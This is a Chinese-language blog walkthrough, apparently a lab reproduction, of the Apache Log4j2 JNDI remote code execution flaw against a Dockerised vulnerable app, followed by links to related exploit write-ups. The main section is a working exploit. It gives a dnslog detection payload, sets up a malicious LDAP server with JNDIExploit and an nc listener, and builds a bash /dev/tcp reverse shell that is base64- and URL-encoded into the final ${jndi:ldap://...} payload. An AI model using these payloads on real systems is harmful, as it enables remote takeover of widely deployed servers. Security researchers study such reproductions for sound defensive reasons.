Apache-Log4j2-Rce漏洞复现
最近最热门的无非是最近爆出的超大boss—Apache log4j2组件的rce漏洞。安全圈俗称'过年',漏洞影响范围之广,危害之大堪比当年的永恒之蓝。由于最近爆出,危害程度目前还正在不断扩大中。超多的大佬已经复现了,那么作为网络安全的小白,不复现一下就是对不起自己。!!!
Apache log4j介绍
Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。该工具重写了log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
下面开始复现
1,首先搭建靶场:
使用docker环境搭建靶场,应该说是最最方便的了。至于docker环境的安装这里就不用我多讲了。
拉取镜像:
docker pull vulfocus/log4j2-rce-2021-12-09
root@localhost# docker pull vulfocus/log4j2-rce-2021-12-09
Using default tag: latest
latest: Pulling from vulfocus/log4j2-rce-2021-12-09
7b1a6ab2e44d: Pull complete
137d0593639e: Pull complete
4f4fb700ef54: Pull complete
830718d01660: Pull complete
a08ba33271e9: Pull complete
f26156a19734: Pull complete
Digest: sha256:49ed4882bfee3fef1787adfb354f75f78eb1e45a6fd0d02ea56661edaf120982
Status: Downloaded newer image for vulfocus/log4j2-rce-2021-12-09:latest
docker.io/vulfocus/log4j2-rce-2021-12-09:latest
启动docker容器:
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
root@localhost# docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
c93cf087cc973cdb0b7b92826c702c7ca80959d7a1dabf1429f0eb66f4c7c311
访问:ip:38080即可。出现如下页面表示靶机搭建完成。

2,dnslog检测漏洞存在:
访问存在漏洞页面:http://192.168.145.128:38080/hello,抓包。
漏洞存在点在payload参数,payload格式为:${jndi:ldap://xxx.dnslog.cn/exp}
注意,这时把get请求改为post,同时添加请求头:Content-Type:application/x-www-form-urlencoded

刷新dnslog.cn:

发现dnslog.cn记录,说明存在log4j2-rce漏洞。
3,反弹Shell:以下操作均在攻击机上(192.168.145.142)
使用JNDIExploit-1.2-SNAPSHOT.jar搭建恶意的jndi服务。这里我们使用的是ldap的1389端口
┌──(kali㉿kali)-[~/Desktop/JNDIExploit.v1.2]
└─$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.145.142
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8080...
开启nc监听
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
这样,攻击机的设置就完成了,然后开始写payload,触发漏洞,反弹shell。
反弹shell paylaod:
bash -i >& /dev/tcp/192.168.145.142/8888 0>&1
进行base64编码然后两次url编码:(看情况,有时可能只需要url编码一次,有时需要url编码2次,也有可能不需要url编码,看1389端口返回执行的具体command命令到底是多少,然后决定怎么进行编码。在最终的command命令下,必须要解析为正确的反弹shell命令,如下,如果解析失败的话,会提示Exception: Incorrect params:错误,这个时候需要修改url编码让它能够正确解析。)
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xNDIvODg4OCAwPiYx

最终payload为:
${jndi:ldap://192.168.145.142:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xNDIvODg4OCAwPiYx}
在burp里面,如果不成功,就把这个参数进行url全编码,在此发送,url全编码还是比较好用的。
发送数据包,触发漏洞,反弹shell:有可能会等待时间较久,需要有耐心。

完毕。
Apache-Log4j2-Rce漏洞复现的更多相关文章
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...
- Apache Solr JMX服务 RCE 漏洞复现
Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...
- Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现
Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...
- Apache Shiro反序列化漏洞复现
Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...
- 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现
CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...
- Apache Flink 任意 Jar 包上传致 RCE 漏洞复现
0x00 简介 Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布.数据通信以及容错机制等功能.基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任 ...
- Apache Tomcat Ajp-CVE-2020-1938漏洞复现
环境搭建: sudo docker pull duonghuuphuc/tomcat-8.5.32 sudo docker run -d -it -p 8080:8080 -p 8009:8009 ...
- Solr 8.2.0最新RCE漏洞复现
漏洞描述 国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr. 漏洞编号 无 影响范围 包括但不限于8.2.0(20191031最 ...
- Apache Shiro 反序列化漏洞复现(CVE-2016-4437)
漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...
- CVE-2019-5475:Nexus2 yum插件RCE漏洞复现
0x00 前言 如果有想一起做漏洞复现的小伙伴,欢迎加入我们,公众号内点击联系作者即可 提示:由于某些原因,公众号内部分工具即将移除,如果有需要的请尽快保存 0x01 漏洞概述 最近hackerone ...
随机推荐
- 2022-10-17:特殊的二进制序列是具有以下两个性质的二进制序列: 0 的数量与 1 的数量相等。 二进制序列的每一个前缀码中 1 的数量要大于等于 0 的数量。 给定一个特殊的二进制序列 S,以
2022-10-17:特殊的二进制序列是具有以下两个性质的二进制序列: 0 的数量与 1 的数量相等. 二进制序列的每一个前缀码中 1 的数量要大于等于 0 的数量. 给定一个特殊的二进制序列 S,以 ...
- 2022-05-03:Alice 和 Bob 再次设计了一款新的石子游戏。现有一行 n 个石子,每个石子都有一个关联的数字表示它的价值。给你一个整数数组 stones ,其中 stones[i] 是第
2022-05-03:Alice 和 Bob 再次设计了一款新的石子游戏.现有一行 n 个石子,每个石子都有一个关联的数字表示它的价值.给你一个整数数组 stones ,其中 stones[i] 是第 ...
- Python潮流周刊#1:如何系统地自学Python?
这里记录每周值得分享的 Python 及通用技术内容,部分内容为英文,已在小标题注明.(本期标题取自其中一则分享,不代表全部内容都是该主题,特此声明.) 文章&教程 1.编程语言的错误处理模式 ...
- 百度飞桨(PaddlePaddle) - PaddleOCR 文字识别简单使用
百度飞桨(PaddlePaddle)安装 OCR 文字检测(Differentiable Binarization --- DB) OCR的技术路线 PaddleHub 预训练模型的网络结构是 DB ...
- Java的CAS操作
介绍 CAS 技术是为了解决问题而生的,通过 CAS 我们可以以无锁的方式,保证对共享数据进行 "读取 - 修改 - 写回" 操作序列的正确性. CAS 是乐观锁设计思想的实现.C ...
- Serverless冷扩机器在压测中被击穿问题
一.现象回顾 在今天ForceBot全链路压测中,有位同事负责的服务做Serverless扩容(负载达到50%之后自动扩容并上线接入流量)中,发现新扩容的机器被击穿,监控如下(关注2:40-3:15时 ...
- ABP - 依赖注入(2)
依赖注入的使用 构造方法注入 这是将服务注入类的最常用方法,是将依赖项注入类的首选方式,也是微软推崇的模式.这样,除非提供了所有构造方法注入的依赖项,否则无法构造类,显示的声明了类必需的服务,使开发人 ...
- selenium4-定位组元素
总体思路:find_elements() 该方法将所有定位到的元素放到一个列表中,再通过列表的下标定位到具体元素. 例1.使用tag name定位到百度搜索框,并输入selenium关键字 servi ...
- Oracle rac环境的数据库导入操作记录
搞某一大项目的性能测试,将Oracle数据库dmp文件(211G)导入性能测试环境. 因为Oracle部署方式为rac,数据存储到共享磁盘.但由于对rac了解不足,这个过程中犯了两个错误: ① 表空间 ...
- go语言编写算法
1.冒泡排序 // 冒泡排序 a := []uint8{9, 20, 10, 23, 7, 22, 88, 102} for i := 0; i < len(a); i++ { for k := ...